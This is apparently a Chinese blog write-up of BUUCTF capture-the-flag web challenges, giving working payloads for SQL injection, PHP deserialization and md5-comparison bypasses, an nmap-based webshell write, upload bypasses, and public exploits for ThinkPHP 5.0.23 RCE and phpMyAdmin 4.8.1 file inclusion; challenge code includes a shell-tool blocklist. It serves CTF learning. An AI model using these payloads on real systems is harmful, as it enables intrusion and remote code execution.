前言

接上篇,继续刷题

正文

[极客大挑战 2019]HardSQL

考点:报错注入。过滤了空白字符、=

EXP:

1
2
3
4
5
6
7
8
9
10
# 取表名
check.php?username=1&password=1%27^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)regexp(database())),0x7e),1)%23

# 取列名
check.php?username=1&password=1%27^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_schema)regexp(database())),0x7e),1)%23

# 读数据
check.php?username=1&password=1%27^updatexml(1,concat(0x7e,(select(group_concat(id,password,username))from(H4rDsq1)),0x7e),1)%23

# 读取不全使用right()取右边部分内容

[GXYCTF2019]BabySQli

登录注入题。

老规矩,先分别使用单引号试报错,顺便看看pw参数有无带入数据库查询(与常见登录验证判断有关)。

尝试后发现,user参数报错,pw不报错。

猜测后端验证逻辑应该是先通过用户名查询数据库信息,再与pw参数做比较。

对于这种验证码方法我们通常采用联合注入法,通过控制返回内容来绕过登录。

EXP:

1
2
3
POST /search.php

name=1'union select 1,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123

[RoarCTF 2019]Easy Java

打开题目,发现页面存在一个奇怪链接:

1
<center><p><a href="Download?filename=help.docx" target="_blank">help</a></p></center>

看样子应该是一个任意文件下载,只不过不知道能不能跨目录出去读取其他文件。

这里存在一个脑洞,直接GET会报错,改换POST访问才行。

1
java.io.FileNotFoundException:{help.docx}

不过也是通过这个“脑洞”,让我们得知此题的后端程序是java。

我们知道,对于java的web开发,WEB-INF文件夹至关重要,其中的web.xml文件对要访问的文件进行相应映射才能访问。

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class。
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件。

利用
通过找到web.xml文件,推断class文件路径,最后下载class文件,通过反编译class文件,得到网站源码。

摘自:Web源码泄露总结

故我们读取/WEB-INF/web.xml。

读取web.xml

根据命名规则我们推断该class对应的字节码文件应存放在:

1
/WEB-INF/classes/com/wm/ctf/FlagController.class

读取后得到flag:

读取flag

[网鼎杯 2020 青龙组]AreUSerialz

打开题目,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

简单的反序列题+LFI,关键就在于is_valid函数的绕过。

此函数限制了payload对应的ascii码区间范围。

若我们直接正常的使用如下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class FileHandler {

protected $op="2";
//由于不知道flag的绝对路径,故无法直接读取flag,使用LFI读取即可
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content="123";
}

$a = new FileHandler();
echo urlencode(serialize($a));
?>

会发现payload中有不可见字符%00,该字符的ascii值是0,会被is_valid拦截。

法一:php7.1+版本对属性类型不敏感

直接修改为public属性,EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class FileHandler {

public $op="2";
//由于不知道flag的绝对路径,故无法直接读取flag,使用LFI读取即可
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content="123";
}

$a = new FileHandler();
echo urlencode(serialize($a));
?>

法二:使用16进制绕过

对于%00出现的属性,只需要将变量名前的小写的s改成大写的S,即可将变量名用16进制表示。

1
2
如:s:11:'%00*%00filename';
表示为:S:11:'\x00*\x00filename';

[BUUCTF 2018]Online Tool

打开题目得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

命令执行题,本题关键是得绕过escapeshellargescapeshellcmd

关键点再与此处连续套用了转义函数,导致出现了由此产生的bypass绕过方法。

对于$host=a'b来说

1
2
3
escapeshellarg转义后为:'a\'''b'
而后经escapeshellcmd转义后为: 'a\\'''b'
如此以来片会造成引号的逃离

EXP:

1
?host=' <?php @eval($_POST["cmd"]);?> -oG evil.php '

Nmap中-oG参数也将输出结果写入文件,我们利用此来写入一个webshell。

然后用蚁剑等webshell管理工具连接读取flag即可。

[GYCTF2020]Blacklist

强网杯随便注魔改题。

考点:handler代替select查询。

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

1
2
3
4
5
6
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

EXP:

1
1';handler `FlagHere` open as yunensec;handler yunensec read first;#

[BJDCTF 2nd]old-hack

打开题目,发现页面存在Powered by THINKPHP5的提示。

随便访问一个控制器:/index.php?s=/index/aaaa,在debug页得到tp版本为5.0.23。

Google一下tp5.0.23的漏洞,发现RCE一枚。

1
2
3
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

摘自:https://y4er.com/post/thinkphp5-rce/

读取flag

[De1CTF 2019]SSRF Me

题目给出Hint:flag is in ./flag.txt

打开题目给出源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#! /usr/bin/env python 
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
#SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp tmpfile.write(resp)

tmpfile.close()

result['code'] = 200

if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"

return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])

def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False app.run(host='0.0.0.0',port=80)

考点:MD5长度拓展攻击、local_file协议。

利用长度拓展攻击绕过sign的验证,再利用local_file协议读取文件内容(file协议为封装好的local_file协议)即可,不过直接不填写任何协议直接让paramflag.txt也可以,因为如果不写协议名称默认即为file协议。

由于篇幅限制,这里不进行对hash长度拓展攻击的解读。

[GKCTF2020]cve版签到

题目给出提示:cve-2020-7066

通过搜索引擎查找得到如下信息:https://bugs.php.net/bug.php?id=79329

image-20200917132843319

可以看到在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中get_headers函数存在00截断问题。

题目首页告诉了我们:

1
You just view *.ctfhub.com

故不能直接输入其他的地址,故我们尝试截断试试让其获取的值为本地IP:127.0.0.1:

image-20200917133340932可以看到题目返回了PHP版本为7.3.15,00截断问题存在,而后又给出了提示,HOST必须为123,修改或访问得到FLAG:

image-20200917133838216

[GXYCTF2019]禁止套娃

打开题目,首页显示:

1
flag在哪里呢?

查看源代码以及响应头,均无tips给出

使用direarch扫描文件,得到如下结果:

image-20200917142513897

发现存在.git目录泄露,尝试还有lijiejie的githack脚本还原代码:

1
python2 Githack.py http://www.example.com/.git/

得到文件index.php,源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

很明显,题目需要我们构造一个无参命令执行payload。

常见的无参构造利用方法如下:

  • getenv()+array_rand()+array_flip(),其中getenv返回包含当前环境信息的数组,array_rand随机返回数组的值,array_flip将数组键值互换。
  • end(getallheaders())
  • apache+array_rand()+end()+ger_defined_vars()
  • hex2bin()+session_id()+session_start(),PHPSESSION允许数字与字母出现(部分符号也可,如括号,点号)。
  • dirname()取目录参数的上一级目录,getcwd()取当前目录,chdir设置当前工作目录。跨目录读取demo:readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
  • readfile(next(array_reverse(scandir(current(localeconv())))));

摘自:PHP Parametric Function RCE)

  • end() – 将内部指针指向数组中的最后一个元素,并输出
  • next() – 将内部指针指向数组中的下一个元素,并输出
  • prev() – 将内部指针指向数组中的上一个元素,并输出
  • reset() – 将内部指针指向数组中的第一个元素,并输出
  • each() – 返回当前元素的键名和键值,并将内部指针向前移动

常见数组操作,摘自:w3school

题目关键正则分析:[a-z,_]+\((?R)?\)

(?R)表示当前正则表达式,也就是[a-z,_]+\((?R)?\)本身,故这个表达式本质上类似套娃正则,即:

1
2
3
[a-z,_]+\([a-z,_]+\([a-z,_]+\([a-z,_]+\(...\)\)\)\)
能匹配:
a(b(c(...))) # 任意个函数的嵌套,注意都是用的函数返回值做参

法一:

image-20200917144953794

法二:

image-20200917145856228

法三:

image-20200917150050106

[MRCTF2020]你传你🐎呢

经典上传题,.htaccess解析图片即可。

image-20200917151230825

上传包含php代码的文件:

image-20200917151319238

访问即可得到FLAG:

image-20200917151337633

简单总结下上传题经典套路:

  • gif89a文件头、Content-Type: image/jpeg文件类型、上传%00截断文件名
  • php、php2、php3、php4、php5、phtml、phtm后缀
  • .htaccess、.user.ini特殊上传,前者要求apache环境后者要求,同目录下需要存在一个php文件
  • <script language=”php”><? ?><?= ?>

[安洵杯 2019]easy_web

打开题目,观察到被跳转到了另一个URL:

1
index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

img参数有点想base64编码,连续base64解码得到:

1
3535352e706e6630

image-20200917154221860

注意观察,有数字,有字母,无符号,数字0、3、5、2、7、6,字母e,满足hex的范畴,尝试hex转字符串得:

1
555.pnf0

故此题的编码应该为string->hex->base64->base64

尝试读取index.php,img参数为base64_encode(base64_encode(hex2bin('index.php')))

1
/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

得index.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

其中关于:

1
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])

的绕过是老生常谈了,这里对这种md5函数总结一下几种方法:

  • 数组对比,a[]=1&b[]=2,md5($a)=null且md5($b)=null

  • 0e弱比较绕过,s878926199a和s1091221200a

  • `
    %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
    %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
    明文不同,MD5相同。

    1
    2

    + md5($str,true):

    content: 129581926211651571912466741651878684928
    hex: 06da5430449f8f6f23dfc1276f722738
    raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1’or’8
    string: T0Do#’or’8

    1
    2


    content: ffifdyop
    hex: 276f722736c95d99e921722cf9ed621c
    raw: ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
    string: ‘or’6]!r,b

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60

    + NaN和INF



    这里我们用第三种办法来绕过即可,而对于命令执行,我们知道,在php中,反引号\`可以当做系统命令执行,而这里又进行了很多过滤,在之前篇的刷题记录中我有提到命令执行的常见讨论,这里我们使用反斜线\绕过。

    在Linux中,反斜线会被省略掉,即`ca\t`与`cat`相同。

    故EXP:

    ![image-20200917162459727](https://img.0x002.com/article/BuuCTF3/image-20200917162459727.png)



    ## [MRCTF2020]Ez_bypass

    打开题目得到如下源代码:

    ```php
    <?php
    include 'flag.php';
    $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
    if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
    echo 'You got the first step';
    if(isset($_POST['passwd'])) {
    $passwd=$_POST['passwd'];
    if (!is_numeric($passwd))
    {
    if($passwd==1234567)
    {
    echo 'Good Job!';
    highlight_file('flag.php');
    die('By Retr_0');
    }
    else
    {
    echo "can you think twice??";
    }
    }
    else{
    echo 'You can not get it !';
    }

    }
    else{
    die('only one way to get the flag');
    }
    }
    else {
    echo "You are not a real hacker!";
    }
    }
    else{
    die('Please input first');
    }
    }

简单的md5绕过+弱比较,EXP:

1
2
3
4
5
POST /?gg[]=1&id[]=2 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

passwd=1234567a

[BJDCTF2020]Mark loves cat

打开题目,页面元素过多,感觉没有啥可用的信息。

简单看一下HTML源代码+请求响应头后,就打开direarch开始扫描了:

1
python3 direarch.py -u http://x.x.x.x/ -e php,zip -t 1 # BUU请求数限制

扫描器有扫到.git目录,随后打开lijiejie的githack工具,尝试dump下源码。

主要文件index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

可用看到开头就有两个变量注册:

1
2
3
4
5
6
7
foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

会把$_GET$_POST的键名作为变量名,值作为变量值,来组成新的变量。

接着有三段连续的死亡exit,我们不能让我们的payload执行到那里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 批量判断$_GET中是否存在键名与$_GET['flag']的值相同的其他键
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
// 判断$_GET['flag']与$_POST['flag']是否存在
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
// 判断$_POST['flag']或$_GET['flag']是否为flag
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

本题的关键是需要满足isset($_GET['flag']) || isset($_POST['flag']的同时,还需满足$_POST['flag'] !== 'flag' && $_GET['flag'] !== 'flag'

法一

1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

通过GET方式传递参数yds=flag,使得$yds=$flag,最终执行到上述代码时带出flag的值。

法二

1
2
3
4
GET /?_POST=_GET&_GET=_COOKIE HTTP/1.1
Host: xxxxx.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Cookie: flag=1

通过覆盖$_POST$_GET绕来两个死亡exit,通过最终的输出那道flag。

image-20200917162459730.png

[GWCTF 2019]我有一个数据库

从题目猜出应该是与数据库有关的题目,通过扫描工具扫描得出:phpinfo.php与phpmyadmin目录。

访问phpmyadmin,访问直接已经登录好了。在首页处得到phpmyadmin版本:4.8.1。

通过phpinfo可以得到网站运行目录:/var/www/html

尝试直接写出文件,查看secure_file_priv权限,如果为’’则可以写入文件,为NULL则无权限。

image-20200917212432455

再尝试修改日志路径拿shell

image-20200917212708785

报错,提示权限不足。

打开搜索引擎,搜索phpmyadmin 4.8.1之后找到一个phpmyadmin的包含漏洞,详细分析地址:phpmyadmin4.8.1后台GetShell

用图中的payload直接读取FLAG:

1
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag

image-20200917212941931

[GXYCTF2019]BabyUpload

这题和上边那题MRCTF2020的上传题是一样的,都是上传.httaccess文件后再上传一个jpg文件即可。

image-20200917214214206

注意,这里做了文件头和php内容判断,用GIF89a和<script language='php'>php代码</script>

image-20200917214314739

读取根目录的FLAG:

1
/upload/0cffff4b7b760870553f87db86cc9953/2.jpg?cmd=highlight_file(%27/flag%27);

image-20200917214402402